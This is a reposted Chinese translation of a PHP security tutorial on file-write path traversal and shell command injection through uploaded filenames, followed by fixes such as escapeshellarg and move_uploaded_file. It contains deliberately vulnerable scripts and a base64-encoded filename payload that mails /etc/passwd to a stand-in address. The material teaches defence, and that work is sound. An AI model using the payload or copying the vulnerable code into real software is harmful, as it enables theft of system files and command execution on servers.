| 導購 | 订阅 | 在线投稿
分享
 
 
當前位置: 王朝網路 >> php >> PHP 安全及相關
 

PHP 安全及相關

2008-12-22 08:10:36  編輯來源:互聯網  简体版  手機版  評論  字體: ||
 
 
  關注安全問題的重要性

  看到的遠非全部

  阻止用戶惡意破壞你的程式最有效卻經常被忽略的方法是在寫代碼時就考慮它的可能性。留意代碼中可能的安全問題是很重要的。考慮下邊的旨在簡化用PHP中寫入大量文本文件的過程的實例函數:

  <?php

  function write_text($filename, $text="") {

  static $open_files = array();

  // 如果文件名空,關閉全部文件

  if ($filename == NULL) {

  foreach($open_files as $fr) {

  fclose($fr);

  }

  return true;

  }

  $index = md5($filename);

  if(!isset($open_files[$index])) {

  $open_files[$index] = fopen($filename, "a+");

  if(!$open_files[$index]) return false;

  }

  fputs($open_files[$index], $text);

  return true;

  }

  ?>

  這個函數帶有兩個缺省參數,文件名和要寫入文件的文本。

  函數將先檢查文件是否已被打開;如果是,將使用原來的文件句柄。否則,將自行創建。在這兩種情況中,文本都會被寫入文件。

  如果傳遞給函數的文件名是NULL,那麽所有打開的文件將被關閉。下邊提供了一個使用上的實例。

  如果開發者以下邊的格式來寫入多個文本文件,那麽這個函數將清楚和易讀的多。

  讓我們假定這個函數存在于一個單獨的文件中,這個文件包含了調用這個函數的代碼。

  下邊是一個這樣的程式,我們叫它quotes.php:

  <html><body>

  <form action="<?=$_SERVER['PHP_SELF']?>" method="get">

  Choose the nature of the quote:

  <select name="quote" size="3">

  <option value="funny">Humorous quotes</option>

  <option value="political">Political quotes</option>

  <option value="love">Romantic Quotes</option>

  </select><br />

  The quote: <input type="text" name="quote_text" size="30" />

  <input type="submit" value="Save Quote" />

  </form>

  </body></html>

  <?php

  include_once('write_text.php');

  $filename = "/home/web/quotes/{$_GET['quote']}";

  $quote_msg = $_GET['quote_text'];

  if (write_text($filename, $quote_msg)) {

  echo "<center><hr><h2>Quote saved!</h2></center>";

  } else {

  echo "<center><hr><h2>Error writing quote</h2></center>";

  }

  write_text(NULL);

  ?>

  如同你看到的,這位開發者使用了write_text()函數來創建一個體系使得用戶可以提交他們喜歡的格言,這些格言將被存放在一個文本文件中。

  不幸的是,開發者可能沒有想到,這個程式也允許了惡意用戶危害web server的安全。

  也許現在你正撓著頭想著究竟這個看起來很無辜的程式怎樣引入了安全風險。

  如果你看不出來,考慮下邊這個URL,記住這個程式叫做quotes.php:

http://www.somewhere.com/fun/quotes.php?quote=different_file.dat&quote_text=garbage+data

  當這個URL傳遞給web server 時將會發生什麽?

  顯然,quotes.php將被執行,但是,不是將一句格言寫入到我們希望的三個文件中之一,相反的,一個叫做different_file.dat的新文件將被建立,其中包含一個字符串garbage data。

  顯然,這不是我們希望的行爲,惡意用戶可能通過把quote指定爲../../../etc/passwd來訪問UNIX密碼文件從而創建一個帳號(盡管這需要web server以superuser運行程式,如果是這樣的,你應該停止閱讀,馬上去修複它)。

  如果/home/web/quotes/可以通過浏覽器訪問,可能這個程式最嚴重的安全問題是它允許任何用戶寫入和運行任意PHP程式。這將帶來無窮的麻煩。

  這裏有一些解決方案。如果你只需要寫入目錄下的一些文件,可以考慮使用一個相關的數組來存放文件名。如果用戶輸入的文件存在于這個數組中,就可以安全的寫入。另一個想法是去掉所有的不是數字和字母的字符來確保沒有目錄分割符號。還有一個辦法是檢查文件的擴展名來保證文件不會被web server執行。

  原則很簡單,作爲一個開發者你必須比程式在你希望的情況下運行時考慮更多。

  如果非法數據進入到一個form元素中會發生什麽?惡意用戶是否能使你的程式以不希望的方式運行?什麽方法能阻止這些攻擊?你的web server和PHP程式只有在最弱的安全鏈接下才安全,所以確認這些可能不安全的鏈接是否安全很重要。

  常見的涉及安全的錯誤

  這裏給出一些要點,一個可能危及安全的編碼上的和管理上的失誤的簡要不完整列表

  錯誤1。信賴數據

  這是貫穿于我關于PHP程式安全的討論的主題,你決不能相信一個來自外部的數據。不管它來自用戶提交表單,文件系統的文件或者環境變量,任何數據都不能簡單的想當然的采用。所以用戶輸入必須進行驗證並將之格式化以保證安全。

  錯誤2。在web目錄中存儲敏感數據

  任何和所有的敏感數據都應該存放在獨立于需要使用數據的程式的文件中,並保存在一個不能通過浏覽器訪問的目錄下。當需要使用敏感數據時,再通過include 或 require語句來包含到適當的PHP程式中。

  錯誤3。不使用推薦的安全防範措施

  PHP手冊包含了在使用和編寫PHP程式時關于安全防範的完整章節。手冊也(幾乎)基于案例清楚的說明了什麽時候存在潛在安全風險和怎麽將風險降低到最低。又如,惡意用戶依靠開發者和管理員的失誤得到關心的安全信息以獲取系統的權限。留意這些警告並適當的采取措施來減小惡意用戶給你的系統帶來真正的破壞的可能性。

  在PHP中執行系統調用

  在PHP中有很多方法可以執行系統調用。

  比如,system(), exec(), passthru(), popen()和 反單引號(`)操作符都允許你在程式中執行系統調用。如果不適當的使用上邊這些函數將會爲惡意用戶在你的服務器上執行系統命令打開大門。像在訪問文件時,絕大多數情況下,安全漏洞發生在由于不可靠的外部輸入導致的系統命令執行。

  使用系統調用的一個例子程式

  考慮一個處理http文件上傳的程式,它使用zip程序來壓縮文件,然後把它移動到指定的目錄(默認爲/usr/local/archives/)。代碼如下:

  <?php

  $zip = "/usr/bin/zip";

  $store_path = "/usr/local/archives/";

  if (isset($_FILES['file'])) {

  $tmp_name = $_FILES['file']['tmp_name'];

  $cmp_name = dirname($_FILES['file']['tmp_name']) .

  "/{$_FILES['file']['name']}.zip";

  $filename = basename($cmp_name);

  if (file_exists($tmp_name)) {

  $systemcall = "$zip $cmp_name $tmp_name";

  $output = `$systemcall`;

  if (file_exists($cmp_name)) {

  $savepath = $store_path.$filename;

  rename($cmp_name, $savepath);

  }

  }

  }

  ?>

  <form enctype="multipart/form-data" action="<?

  php echo $_SERVER['PHP_SELF'];

  ?>" method="POST">

  <input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">

  File to compress: <input name="file" type="file"><br />

  <input type="submit" value="Compress File">

  </form>

  雖然這段程式看起來相當簡單易懂,但是惡意用戶卻可以通過一些方法來利用它。最嚴重的安全問題存在于我們執行了壓縮命令(通過`操作符),在下邊的行中可以清楚的看到這點:

  if (isset($_FILES['file'])) {

  $tmp_name = $_FILES['file']['tmp_name'];

  $cmp_name = dirname($_FILES['file']['tmp_name']) .

  "/{$_FILES['file']['name']}.zip";

  $filename = basename($cmp_name);

  if (file_exists($tmp_name)) {

  $systemcall = "$zip $cmp_name $tmp_name";

  $output = `$systemcall`;

  ...

  欺騙程式執行任意shell命令

  雖然這段代碼看起來相當安全,它卻有使任何有文件上傳權限的用戶執行任意shell命令的潛在危險!

  准確的說,這個安全漏洞來自對$cmp_name變量的賦值。在這裏,我們希望壓縮後的文件使用從客戶機上傳時的文件名(帶有 .zip擴展名)。我們用到了$_FILES['file']['name'](它包含了上傳文件在客戶機時的文件名)。

  在這樣的情況下,惡意用戶完全可以通過上傳一個含對底層操作系統有特殊意義字符的文件來達到自己的目的。舉個例子,如果用戶按照下邊的形式創建一個空文件會怎麽樣?(UNIX shell提示符下)

  [user@localhost]# touch ";php -r '$code=base64_decode(

  "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");

  system($code);';"

  這個命令將創建一個名字如下的文件:

  ;php -r '$code=base64_decode(

  "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");

  system($code);';

  看起來很奇怪?讓我們來看看這個「文件名」,我們發現它很像使CLI版本的PHP執行如下代碼的命令:

  <?php

  $code=base64_decode(

  "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");

  system($code);

  ?>

  如果你出于好奇而顯示$code變量的內容,就會發現它包含了mailbaduser@somewhere.com< /etc/passwd。如果用戶把這個文件傳給程式,接著PHP執行系統調用來壓縮文件,PHP實際上將執行如下語句:

  /usr/bin/zip /tmp/;php -r

  '$code=base64_decode(

  "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");

  system($code);';.zip /tmp/phpY4iatI

  讓人吃驚的,上邊的命令不是一個語句而是3個!由于UNIX shell 把分號(;)解釋爲一個shell命令的結束和另一命令的開始,除了分號在在引號中時,PHP的system()實際上將如下執行:

  [user@localhost]# /usr/bin/zip /tmp/

  [user@localhost]# php -r

  '$code=base64_decode(

  "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");

  system($code);'

  [user@localhost]# .zip /tmp/phpY4iatI

  如你所見,這個看起來無害的PHP程式突然變成執行任意shell命令和其他PHP程式的後門。雖然這個例子只會在路徑下有CLI版本的PHP的系統上有效,但是用這種技術可以通過其他的方法來達到同樣的效果。

  對抗系統調用攻擊

  這裏的關鍵仍然是,來自用戶的輸入,不管內容如何,都不應該相信!問題仍然是如何在使用系統調用時(除了根本不使用它們)避免類似的情況出現。爲了對抗這種類型的攻擊,PHP提供了兩個函數,escapeshellarg() 和 escapeshellcmd()。

  escapeshellarg()函數是爲了從用作系統命令的參數的用戶輸入(在我們的例子中,是zip命令)中移出含有潛在危險的字符而設計的。這個函數的語法如下:

  escapeshellarg($string)

  $string所在處是用于過濾的輸入,返回值是過濾後的字符。執行時,這個函數將在字符兩邊添加單引號,並轉義原來字符串中的單引號(在其前邊加上)。在我們的例程中,如果我們在執行系統命令之前加上這些行:

  $cmp_name = escapeshellarg($cmp_name);

  $tmp_name = escapeshellarg($tmp_name);

  我們就能通過確保傳遞給系統調用的參數已經處理,是一個沒有其他意圖的用戶輸入,以規避這樣的安全風險。

  escapeshellcmd()和escapeshellarg()類似,只是它只轉義對底層操作系統有特殊意義的字符。和escapeshellarg()不同,escapeshellcmd()不會處理內容中的空白格。舉個實例,當使用escapeshellcmd()轉義時,字符

  $string = "'hello, world!';evilcommand"

  將變爲:

  'hello, world';evilcommand

  如果這個字符串用作系統調用的參數它將仍然不能得到正確的結果,因爲shell將會把它分別解釋爲兩個分離的參數: 'hello 和 world';evilcommand。如果用戶輸入用于系統調用的參數列表部分,escapeshellarg()是一個更好的選擇。

  保護上傳的文件

  在整篇文章中,我一直只著重講系統調用如何被惡意用戶劫持以産生我們不希望結果。

  但是,這裏還有另外一個潛在的安全風險值得提到。再看到我們的例程,把你的注意力集中在下邊的行上:

  $tmp_name = $_FILES['file']['tmp_name'];

  $cmp_name = dirname($_FILES['file']['tmp_name']) .

  "/{$_FILES['file']['name']}.zip";

  $filename = basename($cmp_name);

  if (file_exists($tmp_name)) {

  上邊片斷中的代碼行導致的一個潛在安全風險是,最後一行我們判斷上傳的文件是否實際存在(以臨時文件名$tmp_name存在)。

  這個安全風險並不來自于PHP自身,而在于保存在$tmp_name中的文件名實際上根本不是一個文件,而是指向惡意用戶希望訪問的文件,比如,/etc/passwd。

  爲了防止這樣的情況發生,PHP提供了is_uploaded_file()函數,它和file_exists()一樣,但是它還提供文件是否真的從客戶機上上傳的檢查。

  在絕大多數情況下,你將需要移動上傳的文件,PHP提供了move_uploaded_file()函數,來配合is_uploaded_file()。這個函數和rename()一樣用于移動文件,只是它會在執行前自動檢查以確保被移動的文件是上傳的文件。move_uploaded_file()的語法如下:

  move_uploaded_file($filename, $destination);

  在執行時,函數將移動上傳文件$filename到目的地$destination並返回一個布爾值來標志操作是否成功。

  注: John Coggeshall 是一位PHP顧問和作者。從他開始爲PHP不眠已經5年左右了。

  英文原文:http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html
 
 
 
上一篇《在PHP中顯示格式化的用戶輸入》
下一篇《php 安全》
 
 
 
 
 
 
日版寵物情人插曲《Winding Road》歌詞

日版寵物情人2017的插曲,很帶節奏感,日語的,女生唱的。 最後聽見是在第8集的時候女主手割傷了,然後男主用嘴幫她吸了一下,插曲就出來了。 歌手:Def...

兄弟共妻,我成了他們夜裏的美食

老鍾家的兩個兒子很特別,就是跟其他的人不太一樣,魔一般的執著。兄弟倆都到了要結婚的年齡了,不管自家老爹怎麽磨破嘴皮子,兄弟倆說不娶就不娶,老父母爲兄弟兩操碎了心...

如何磨出破洞牛仔褲?牛仔褲怎麽剪破洞?

把牛仔褲磨出有線的破洞 1、具體工具就是磨腳石,下面墊一個硬物,然後用磨腳石一直磨一直磨,到把那塊磨薄了,用手撕開就好了。出來的洞啊很自然的。需要貓須的話調幾...

我就是掃描下圖得到了敬業福和愛國福

先來看下敬業福和愛國福 今年春節,支付寶再次推出了“五福紅包”活動,表示要“把欠大家的敬業福都還給大家”。 今天該活動正式啓動,和去年一樣,需要收集“五福”...

冰箱異味産生的原因和臭味去除的方法

有時候我們打開冰箱就會聞到一股異味,冰箱裏的這種異味是因爲一些物質發出的氣味的混合體,聞起來讓人惡心。 産生這些異味的主要原因有以下幾點。 1、很多人有這種習...

《極品家丁》1-31集大結局分集劇情介紹

簡介 《極品家丁》講述了現代白領林晚榮無意回到古代金陵,並追隨蕭二小姐化名“林三”進入蕭府,不料卻陰差陽錯上演了一出低級家丁拼搏上位的“林三升職記”。...

李溪芮《極品家丁》片尾曲《你就是我最愛的寶寶》歌詞

你就是我最愛的寶寶 - 李溪芮 (電視劇《極品家丁》片尾曲) 作詞:常馨內 作曲:常馨內 你的眉 又鬼馬的挑 你的嘴 又壞壞的笑 上一秒吵鬧 下...

烏梅的功效與作用以及烏梅的食用禁忌有哪些?

烏梅,又稱春梅,中醫認爲,烏梅味酸,性溫,無毒,具有安心、除熱、下氣、祛痰、止渴調中、殺蟲的功效,治肢體痛、肺痨病。烏梅泡水喝能治傷寒煩熱、止吐瀉,與幹姜一起制...

什麽是脂肪粒?如何消除臉部脂肪粒?

什麽是脂肪粒 在我們的臉上總會長一個個像脂肪的小顆粒,弄也弄不掉,而且顔色還是白白的。它既不是粉刺也不是其他的任何痘痘,它就是脂肪粒。 脂肪粒雖然也是由油脂...

網絡安全治理:國家安全保障的主要方向是打擊犯罪,而不是處置和懲罰受害者

來源:中國青年報 新的攻擊方法不斷湧現,黑客幾乎永遠占據網絡攻擊的上風,我們不可能通過技術手段杜絕網絡攻擊。國家安全保障的主要方向是打擊犯罪,而不是處置和懲罰...

河南夫妻在溫嶺網絡直播“造人”內容涉黃被刑事拘留

夫妻網絡直播“造人”爆紅   1月9日,溫嶺城北派出所接到南京警方的協查通告,他們近期打掉了一個涉黃直播APP平台。而根據掌握的線索,其中有一對涉案的夫妻主播...

如何防止牆紙老化?牆紙變舊變黃怎麽辦?

如何防止牆紙老化? (1)選擇透氣性好的牆紙 市場上牆紙的材質分無紡布的、木纖維的、PVC的、玻璃纖維基材的、布面的等,相對而言,PVC材質的牆紙最不透氣...

鮮肌之謎非日本生産VS鮮肌之謎假日貨是謠言

觀點一:破日本銷售量的“鮮肌之謎” 非日本生産 近一段時間,淘寶上架了一款名爲“鮮肌之謎的” 鲑魚卵巢美容液,號稱是最近日本的一款推出的全新護膚品,産品本身所...

中國最美古詩詞精選摘抄

系腰裙(北宋詞人 張先) 惜霜蟾照夜雲天,朦胧影、畫勾闌。人情縱似長情月,算一年年。又能得、幾番圓。 欲寄西江題葉字,流不到、五亭前。東池始有荷新綠,尚小如...

關于女人的經典語句

關于女人的經典語句1、【做一個獨立的女人】 思想獨立:有主見、有自己的人生觀、價值觀。有上進心,永遠不放棄自己的理想,做一份自己喜愛的事業,擁有快樂和成就...

未來我們可以和性愛機器人結婚嗎?

你想體驗機器人性愛嗎?你想和性愛機器人結婚嗎?如果你想,機器人有拒絕你的權利嗎? 近日,第二屆“國際人類-機器人性愛研討會”大會在倫敦金史密斯大學落下帷幕。而...

全球最變態的十個地方

10.土耳其地下洞穴城市 變態指數:★★☆☆☆ 這是土耳其卡帕多西亞的一個著名景點,傳說是當年基督教徒們爲了躲避戰爭而在此修建。裏面曾住著20000人,...

科學家稱,人類死亡後意識將在另外一個宇宙中繼續存活

據英國《每日快報》報道,一位科學家兼理論家Robert Lanza博士宣稱,世界上並不存在人類死亡,死亡的只是身體。他認爲我們的意識借助我們體內的能量生存,而且...

《屏裏狐》片頭曲《我愛狐狸精》歌詞是什麽?

《我愛狐狸精》 - 劉馨棋   (電視劇《屏裏狐》主題曲)   作詞:金十三&李旦   作曲:劉嘉   狐狸精 狐狸仙   千年修...

 
 
 
關注安全問題的重要性 看到的遠非全部 阻止用戶惡意破壞你的程式最有效卻經常被忽略的方法是在寫代碼時就考慮它的可能性。留意代碼中可能的安全問題是很重要的。考慮下邊的旨在簡化用PHP中寫入大量文本文件的過程的實例函數: <?php function write_text($filename, $text="") { static $open_files = array(); // 如果文件名空,關閉全部文件 if ($filename == NULL) { foreach($open_files as $fr) { fclose($fr); } return true; } $index = md5($filename); if(!isset($open_files[$index])) { $open_files[$index] = fopen($filename, "a+"); if(!$open_files[$index]) return false; } fputs($open_files[$index], $text); return true; } ?> 這個函數帶有兩個缺省參數,文件名和要寫入文件的文本。 函數將先檢查文件是否已被打開;如果是,將使用原來的文件句柄。否則,將自行創建。在這兩種情況中,文本都會被寫入文件。 如果傳遞給函數的文件名是NULL,那麽所有打開的文件將被關閉。下邊提供了一個使用上的實例。 如果開發者以下邊的格式來寫入多個文本文件,那麽這個函數將清楚和易讀的多。 讓我們假定這個函數存在于一個單獨的文件中,這個文件包含了調用這個函數的代碼。 下邊是一個這樣的程式,我們叫它quotes.php: <html><body> <form action="<?=$_SERVER['PHP_SELF']?>" method="get"> Choose the nature of the quote: <select name="quote" size="3"> <option value="funny">Humorous quotes</option> <option value="political">Political quotes</option> <option value="love">Romantic Quotes</option> </select><br /> The quote: <input type="text" name="quote_text" size="30" /> <input type="submit" value="Save Quote" /> </form> </body></html> <?php include_once('write_text.php'); $filename = "/home/web/quotes/{$_GET['quote']}"; $quote_msg = $_GET['quote_text']; if (write_text($filename, $quote_msg)) { echo "<center><hr><h2>Quote saved!</h2></center>"; } else { echo "<center><hr><h2>Error writing quote</h2></center>"; } write_text(NULL); ?> 如同你看到的,這位開發者使用了write_text()函數來創建一個體系使得用戶可以提交他們喜歡的格言,這些格言將被存放在一個文本文件中。 不幸的是,開發者可能沒有想到,這個程式也允許了惡意用戶危害web server的安全。 也許現在你正撓著頭想著究竟這個看起來很無辜的程式怎樣引入了安全風險。 如果你看不出來,考慮下邊這個URL,記住這個程式叫做quotes.php: [url=http://www.somewhere.com/fun/quotes.php?quote=different_file.dat&quote_text=garbage+data]http://www.somewhere.com/fun/quotes.php?quote=different_file.dat&quote_text=garbage+data[/url] 當這個URL傳遞給web server 時將會發生什麽? 顯然,quotes.php將被執行,但是,不是將一句格言寫入到我們希望的三個文件中之一,相反的,一個叫做different_file.dat的新文件將被建立,其中包含一個字符串garbage data。 顯然,這不是我們希望的行爲,惡意用戶可能通過把quote指定爲../../../etc/passwd來訪問UNIX密碼文件從而創建一個帳號(盡管這需要web server以superuser運行程式,如果是這樣的,你應該停止閱讀,馬上去修複它)。 如果/home/web/quotes/可以通過浏覽器訪問,可能這個程式最嚴重的安全問題是它允許任何用戶寫入和運行任意PHP程式。這將帶來無窮的麻煩。 這裏有一些解決方案。如果你只需要寫入目錄下的一些文件,可以考慮使用一個相關的數組來存放文件名。如果用戶輸入的文件存在于這個數組中,就可以安全的寫入。另一個想法是去掉所有的不是數字和字母的字符來確保沒有目錄分割符號。還有一個辦法是檢查文件的擴展名來保證文件不會被web server執行。 原則很簡單,作爲一個開發者你必須比程式在你希望的情況下運行時考慮更多。 如果非法數據進入到一個form元素中會發生什麽?惡意用戶是否能使你的程式以不希望的方式運行?什麽方法能阻止這些攻擊?你的web server和PHP程式只有在最弱的安全鏈接下才安全,所以確認這些可能不安全的鏈接是否安全很重要。 常見的涉及安全的錯誤 這裏給出一些要點,一個可能危及安全的編碼上的和管理上的失誤的簡要不完整列表 錯誤1。信賴數據 這是貫穿于我關于PHP程式安全的討論的主題,你決不能相信一個來自外部的數據。不管它來自用戶提交表單,文件系統的文件或者環境變量,任何數據都不能簡單的想當然的采用。所以用戶輸入必須進行驗證並將之格式化以保證安全。 錯誤2。在web目錄中存儲敏感數據 任何和所有的敏感數據都應該存放在獨立于需要使用數據的程式的文件中,並保存在一個不能通過浏覽器訪問的目錄下。當需要使用敏感數據時,再通過include 或 require語句來包含到適當的PHP程式中。 錯誤3。不使用推薦的安全防範措施 PHP手冊包含了在使用和編寫PHP程式時關于安全防範的完整章節。手冊也(幾乎)基于案例清楚的說明了什麽時候存在潛在安全風險和怎麽將風險降低到最低。又如,惡意用戶依靠開發者和管理員的失誤得到關心的安全信息以獲取系統的權限。留意這些警告並適當的采取措施來減小惡意用戶給你的系統帶來真正的破壞的可能性。 在PHP中執行系統調用 在PHP中有很多方法可以執行系統調用。 比如,system(), exec(), passthru(), popen()和 反單引號(`)操作符都允許你在程式中執行系統調用。如果不適當的使用上邊這些函數將會爲惡意用戶在你的服務器上執行系統命令打開大門。像在訪問文件時,絕大多數情況下,安全漏洞發生在由于不可靠的外部輸入導致的系統命令執行。 使用系統調用的一個例子程式 考慮一個處理http文件上傳的程式,它使用zip程序來壓縮文件,然後把它移動到指定的目錄(默認爲/usr/local/archives/)。代碼如下: <?php $zip = "/usr/bin/zip"; $store_path = "/usr/local/archives/"; if (isset($_FILES['file'])) { $tmp_name = $_FILES['file']['tmp_name']; $cmp_name = dirname($_FILES['file']['tmp_name']) . "/{$_FILES['file']['name']}.zip"; $filename = basename($cmp_name); if (file_exists($tmp_name)) { $systemcall = "$zip $cmp_name $tmp_name"; $output = `$systemcall`; if (file_exists($cmp_name)) { $savepath = $store_path.$filename; rename($cmp_name, $savepath); } } } ?> <form enctype="multipart/form-data" action="<? php echo $_SERVER['PHP_SELF']; ?>" method="POST"> <input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576"> File to compress: <input name="file" type="file"><br /> <input type="submit" value="Compress File"> </form> 雖然這段程式看起來相當簡單易懂,但是惡意用戶卻可以通過一些方法來利用它。最嚴重的安全問題存在于我們執行了壓縮命令(通過`操作符),在下邊的行中可以清楚的看到這點: if (isset($_FILES['file'])) { $tmp_name = $_FILES['file']['tmp_name']; $cmp_name = dirname($_FILES['file']['tmp_name']) . "/{$_FILES['file']['name']}.zip"; $filename = basename($cmp_name); if (file_exists($tmp_name)) { $systemcall = "$zip $cmp_name $tmp_name"; $output = `$systemcall`; ... 欺騙程式執行任意shell命令 雖然這段代碼看起來相當安全,它卻有使任何有文件上傳權限的用戶執行任意shell命令的潛在危險! 准確的說,這個安全漏洞來自對$cmp_name變量的賦值。在這裏,我們希望壓縮後的文件使用從客戶機上傳時的文件名(帶有 .zip擴展名)。我們用到了$_FILES['file']['name'](它包含了上傳文件在客戶機時的文件名)。 在這樣的情況下,惡意用戶完全可以通過上傳一個含對底層操作系統有特殊意義字符的文件來達到自己的目的。舉個例子,如果用戶按照下邊的形式創建一個空文件會怎麽樣?(UNIX shell提示符下) [user@localhost]# touch ";php -r '$code=base64_decode( "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA=="); system($code);';" 這個命令將創建一個名字如下的文件: ;php -r '$code=base64_decode( "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA=="); system($code);'; 看起來很奇怪?讓我們來看看這個「文件名」,我們發現它很像使CLI版本的PHP執行如下代碼的命令: <?php $code=base64_decode( "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA=="); system($code); ?> 如果你出于好奇而顯示$code變量的內容,就會發現它包含了[url=mailto:mailbaduser@somewhere.com]mailbaduser@somewhere.com[/url]< /etc/passwd。如果用戶把這個文件傳給程式,接著PHP執行系統調用來壓縮文件,PHP實際上將執行如下語句: /usr/bin/zip /tmp/;php -r '$code=base64_decode( "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA=="); system($code);';.zip /tmp/phpY4iatI 讓人吃驚的,上邊的命令不是一個語句而是3個!由于UNIX shell 把分號(;)解釋爲一個shell命令的結束和另一命令的開始,除了分號在在引號中時,PHP的system()實際上將如下執行: [user@localhost]# /usr/bin/zip /tmp/ [user@localhost]# php -r '$code=base64_decode( "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA=="); system($code);' [user@localhost]# .zip /tmp/phpY4iatI 如你所見,這個看起來無害的PHP程式突然變成執行任意shell命令和其他PHP程式的後門。雖然這個例子只會在路徑下有CLI版本的PHP的系統上有效,但是用這種技術可以通過其他的方法來達到同樣的效果。 對抗系統調用攻擊 這裏的關鍵仍然是,來自用戶的輸入,不管內容如何,都不應該相信!問題仍然是如何在使用系統調用時(除了根本不使用它們)避免類似的情況出現。爲了對抗這種類型的攻擊,PHP提供了兩個函數,escapeshellarg() 和 escapeshellcmd()。 escapeshellarg()函數是爲了從用作系統命令的參數的用戶輸入(在我們的例子中,是zip命令)中移出含有潛在危險的字符而設計的。這個函數的語法如下: escapeshellarg($string) $string所在處是用于過濾的輸入,返回值是過濾後的字符。執行時,這個函數將在字符兩邊添加單引號,並轉義原來字符串中的單引號(在其前邊加上)。在我們的例程中,如果我們在執行系統命令之前加上這些行: $cmp_name = escapeshellarg($cmp_name); $tmp_name = escapeshellarg($tmp_name); 我們就能通過確保傳遞給系統調用的參數已經處理,是一個沒有其他意圖的用戶輸入,以規避這樣的安全風險。 escapeshellcmd()和escapeshellarg()類似,只是它只轉義對底層操作系統有特殊意義的字符。和escapeshellarg()不同,escapeshellcmd()不會處理內容中的空白格。舉個實例,當使用escapeshellcmd()轉義時,字符 $string = "'hello, world!';evilcommand" 將變爲: 'hello, world';evilcommand 如果這個字符串用作系統調用的參數它將仍然不能得到正確的結果,因爲shell將會把它分別解釋爲兩個分離的參數: 'hello 和 world';evilcommand。如果用戶輸入用于系統調用的參數列表部分,escapeshellarg()是一個更好的選擇。 保護上傳的文件 在整篇文章中,我一直只著重講系統調用如何被惡意用戶劫持以産生我們不希望結果。 但是,這裏還有另外一個潛在的安全風險值得提到。再看到我們的例程,把你的注意力集中在下邊的行上: $tmp_name = $_FILES['file']['tmp_name']; $cmp_name = dirname($_FILES['file']['tmp_name']) . "/{$_FILES['file']['name']}.zip"; $filename = basename($cmp_name); if (file_exists($tmp_name)) { 上邊片斷中的代碼行導致的一個潛在安全風險是,最後一行我們判斷上傳的文件是否實際存在(以臨時文件名$tmp_name存在)。 這個安全風險並不來自于PHP自身,而在于保存在$tmp_name中的文件名實際上根本不是一個文件,而是指向惡意用戶希望訪問的文件,比如,/etc/passwd。 爲了防止這樣的情況發生,PHP提供了is_uploaded_file()函數,它和file_exists()一樣,但是它還提供文件是否真的從客戶機上上傳的檢查。 在絕大多數情況下,你將需要移動上傳的文件,PHP提供了move_uploaded_file()函數,來配合is_uploaded_file()。這個函數和rename()一樣用于移動文件,只是它會在執行前自動檢查以確保被移動的文件是上傳的文件。move_uploaded_file()的語法如下: move_uploaded_file($filename, $destination); 在執行時,函數將移動上傳文件$filename到目的地$destination並返回一個布爾值來標志操作是否成功。 注: John Coggeshall 是一位PHP顧問和作者。從他開始爲PHP不眠已經5年左右了。 英文原文:[url=http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html]http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html[/url]
󰈣󰈤
 
 
 
  免責聲明:本文僅代表作者個人觀點,與王朝網路無關。王朝網路登載此文出於傳遞更多信息之目的,並不意味著贊同其觀點或證實其描述,其原創性以及文中陳述文字和內容未經本站證實,對本文以及其中全部或者部分內容、文字的真實性、完整性、及時性本站不作任何保證或承諾,請讀者僅作參考,並請自行核實相關內容。
 
 
小龍女彤彤之情溢皇都
龔潔
智能手機形象美女
崔潔彤
回家的路上----
中國一站(哈爾濱)
清明植物園的花。
桃花堤印象之豎版
 
>>返回首頁<<
 
 
 
 熱帖排行
 
 
 
 
© 2005- 王朝網路 版權所有